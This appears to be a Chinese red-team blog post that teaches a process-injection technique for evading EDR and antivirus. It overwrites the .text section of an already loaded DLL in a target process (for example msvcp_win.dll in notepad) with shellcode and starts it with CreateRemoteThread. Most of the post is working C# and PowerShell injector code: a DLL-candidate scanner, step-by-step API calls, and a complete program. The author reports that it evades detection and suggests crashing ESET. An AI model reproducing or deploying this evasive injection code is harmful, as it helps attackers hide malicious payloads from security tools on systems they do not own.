前言
比较常见的进程注入是:CreateRemoteThread。
主要过程为:
1.VirtualAllocEx -> 分配内存空间来暂存 shellcode
2 .WriteProcessMemory -> 将解密/解码的shellcode写入内存空间
3 .CreateRemoteThread -> 在进程上新建一个线程,起始地址指向内存空间
但是这样的手法早已被EDR拦得死死的。
本文的手法主要是将 shellcode 注入已加载的 DLL 内存页面来替代常见的注入手法来绕过EDR的检测。
获取可操作DLL
一般情况下:如果我们把shellcode写进现有的 DLL 内存页面时,进程可能会崩溃,因为该内存页面已被进程使用。
那么我们如果需要注入到正在加载中的dll时,我们需要满足以下条件:
- 内存页应该属于 .text 部分,因为它本质上在内存页上具有执行权(即PAGE_EXECUTE_READ )
- 内存页应该提供足够的空间来存储shellcode
- 覆盖内存页中的字节不应使进程崩溃
- DLL 由不同的进程共同加载
在原文中作者给出了一个用来测试的C#
代码语言:javascript复制static void Main(string[] args)
{
string targetProcess = @"c:WindowsSystem32notepad.exe";
byte[] buf = new byte[] { //Sample MsgBox shellcode// };
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool success = CreateProcess(targetProcess, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
Process processObj = Process.GetProcessById((int)pi.dwProcessId);
Thread.Sleep(2000); // Sleep to make sure all modules have been loaded by the process
Console.WriteLine("Total modules to be scanned: " processObj.Modules.Count);
processObj.Kill();
Dictionary<string, bool> testDll = new Dictionary<string, bool>();
while (testDll.Count < processObj.Modules.Count) {
si = new STARTUPINFO();
pi = new PROCESS_INFORMATION();
CreateProcess(targetProcess, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
processObj = Process.GetProcessById((int)pi.dwProcessId);
Thread.Sleep(2000); // 休眠以确保进程已加载所有模块
foreach (ProcessModule module in processObj.Modules) {
if (!testDll.ContainsKey(module.FileName)) {
IntPtr addr = (module.BaseAddress 4096); // 获取 .text 部分的地址
IntPtr outSize;
uint oldProtect;
VirtualProtectEx(processObj.Handle, addr, (UIntPtr)buf.Length, 0x04, out oldProtect);
WriteProcessMemory(processObj.Handle, addr, buf, buf.Length, out outSize);
VirtualProtectEx(processObj.Handle, addr, (UIntPtr)buf.Length, 0x20, out oldProtect);
IntPtr hThread = CreateRemoteThread(processObj.Handle, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x0, out hThread);
Thread.Sleep(10000);
if (!Process.GetProcesses().Any(x => x.Id == pi.dwProcessId)) {
testDll.Add(module.FileName, false);
break;
} else {
MEMORY_BASIC_INFORMATION64 mem_basic_info = new MEMORY_BASIC_INFORMATION64();
VirtualQueryEx(pi.hProcess, addr, out mem_basic_info, (uint)Marshal.SizeOf(mem_basic_info));
Console.WriteLine("Found valid candidate: " module.FileName ", region size available on the .text section: " mem_basic_info.RegionSize);
testDll.Add(module.FileName, true);
processObj.Kill();
break;
}
}
}
}
}
代码简单:将 shellcode 注入目标进程(例如,notepad.exe)不断加载的每个 DLL 的 .text 部分,如果注入没有使进程崩溃,则返回结果。
注入方法
在原文中使用的是:远线程(CreateRemoteThread)注入.
基本方法为:
使用OpenProcess打开目标进程;
使用VirtuallocEx在目标进程中分配eXecute-Read-Write (XRW)内存;
使用WriteProcessMemory将shellcode有效内容复制到新内存;
远程进程中创建一个新的线程来执行shellcode(CreateRemoteThread);
使用VirtualFreeEx在目标进程中解除分配XRW内存;
使用CloseHandle关闭目标进程句柄。
这个注入手法这是没有使用OpenProcess打开目标进程,而是使用了往目标进程中加载的dll的.text 代码段区域进行读写shellcode。
代码语言:javascript复制粗暴的理解,这个技术就是把 shellcode 复制到一个 DLL 的 .text 段,并且这个 DLL 不会引起进程的奔溃(有些 DLL 只需要执行一次,没有 free ,所以覆盖没问题)带来的效果,没有内存分配相关函数。
跟Module Stomping 最主要区别在于作者的这种方法没有 Loadlibrary。
----来着@伍默(红队学院星球)
注入步骤为:
1.获取目标进程中加载目标DLL的基址:
通过获取句柄,然后列出目标进程加载的所有DLL
代码语言:javascript复制Get-Process -name powershell #获取目标句柄
(Get-Process -name powershell).Modules #获取目标进程加载的所有DLL
获取DLL的基址
代码语言:javascript复制$addr = $Modules.BaseAddress
powershell demo
代码语言:javascript复制$process_name = "";
$dll_name = @("");
$process_id = (Get-Process -name $process_name)[0].Id;
#获取进程加载的dll
$Modules = (Get-Process -name $process_name).Modules;
if ($Modules.moduleName.ToLower().Contains($dll_name))
{
$addr = $Modules.BaseAddress 4096;;
}
C# demo
代码语言:javascript复制Process processObj = Process.GetProcessById(pid);
foreach (ProcessModule module in processObj.Modules)
{
if (module.FileName.ToLower().Contains("msvcp_win.dll"))
{
IntPtr addr = module.BaseAddress 4096; // Point to .text section
//Write and inject
}
}
2.使用VirtualProtectEx修改内存属性
找到 .text 部分的地址,使用VirtualProtectEx把内存保护标志将从RX更改为RW,允许我们把 shellcode 复制到内存页面中。
Powershell Demo:
代码语言:javascript复制#VirtualProtectEx调用
[Dll_text_inject]::VirtualProtectEx(
$hProcess,
[IntPtr]::Zero,
$dwSize,
0x04,
0x40
);
C# Demo
代码语言:javascript复制uint oldProtect = 0;
VirtualProtectEx(
hProcess, addr,
(UIntPtr)buf.Length,
0x04,
out oldProtect
);
3.使用WriteProcessMemory将shellcode有效内容复制到新内存;
Powershell Demo:
代码语言:javascript复制[Dll_text_inject]::WriteProcessMemory(
$hProcess,
$addr, #要写的内存首地址
$shellcode,
$Shellcode.Length,
[ref]$lpNumberOfBytesWritten #Null
);
C# demo
代码语言:javascript复制WriteProcessMemory(
processObj.Handle,
addr,
buf,
buf.Length,
out outSize
);
4.使用VirtualProtectEx将再次用于将内存保护标志从RW恢复到RX
使用VirtualProtectEx ( RX->RW->RX )手动更新保护标志来进行OPSEC,防止内存页的保护标志设置为RWX/WCX。
C# demo
代码语言:javascript复制VirtualProtectEx(
processObj.Handle,
addr,
(UIntPtr)buf.Length,
0x20,
out oldProtect
);
powershell demo
代码语言:javascript复制[Dll_text_inject]::VirtualProtectEx(
$hProcess,
[IntPtr]::Zero,
$dwSize,
0x20,
0x40
);
5.使用CreateRemoteThread创建一个新线程
在远程进程中创建一个新的线程来执行shellcode(CreateRemoteThread)
C# demo
代码语言:javascript复制IntPtr hThread = CreateRemoteThread(
processObj.Handle,
IntPtr.Zero,
0,
addr,
IntPtr.Zero,
0x0,
out hThread
);
Powershell Demo
代码语言:javascript复制[Dll_text_inject]::CreateRemoteThread(
$hProcess,
[IntPtr]::Zero,
0,
$addr,
[IntPtr]::Zero,
0x0,
[ref]$pi
);
C# demo
代码语言:javascript复制using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace AnotherDLLHollowing
{
class Program
{
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId
);
[DllImport("kernel32.dll")]
static extern bool VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
UIntPtr dwSize,
uint flNewProtect,
out uint lpflOldProtect
);
static void Main(string[] args)
{
int pid = Process.GetProcessesByName("notepad")[0].Id;
byte[] buf = new byte[] {}
Process processObj = Process.GetProcessById(pid);
foreach (ProcessModule module in processObj.Modules)
{
if (module.FileName.ToLower().Contains("msvcp_win.dll"))
{
IntPtr addr = module.BaseAddress 4096;
IntPtr outSize;
uint oldProtect;
VirtualProtectEx(
processObj.Handle,
addr,
(UIntPtr)buf.Length,
0x04,
out oldProtect
);
WriteProcessMemory(
processObj.Handle,
addr, buf,
buf.Length,
out outSize
);
VirtualProtectEx(
processObj.Handle,
addr,
(UIntPtr)buf.Length,
0x20,
out oldProtect
);
IntPtr hThread = CreateRemoteThread(
processObj.Handle,
IntPtr.Zero,
0,
addr,
IntPtr.Zero,
0x0,
out hThread
);
break;
}
}
}
}
}
powershell的demo就不发了,最近在学powershell写东西,顺便写了个powershell的demo
优点
这个注入对于DLL Hollowing的优点就是:
- 不需要加载任何新的合法库
- 避免 IOC 丢失 PEB 模块,因为新加载的库不是使用 LdrLoadDll 调用的
但是并不是很稳定,目标进程很可能在注入后无法使用,例如我花了一点时间来怎么样注入到ESET中时,eset的进程就会崩溃,(可能是DLL的问题)。
如果在项目中没有办法绕过ESET的话,可以这样直接注崩溃ESET哈哈哈。
目前这个注入的免杀还是ok的。
感兴趣的同学还可以看看这个代码
代码语言:javascript复制https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThreadDll.cs
原文:
代码语言:javascript复制https://www.netero1010-securitylab.com/eavsion/alternative-process-injection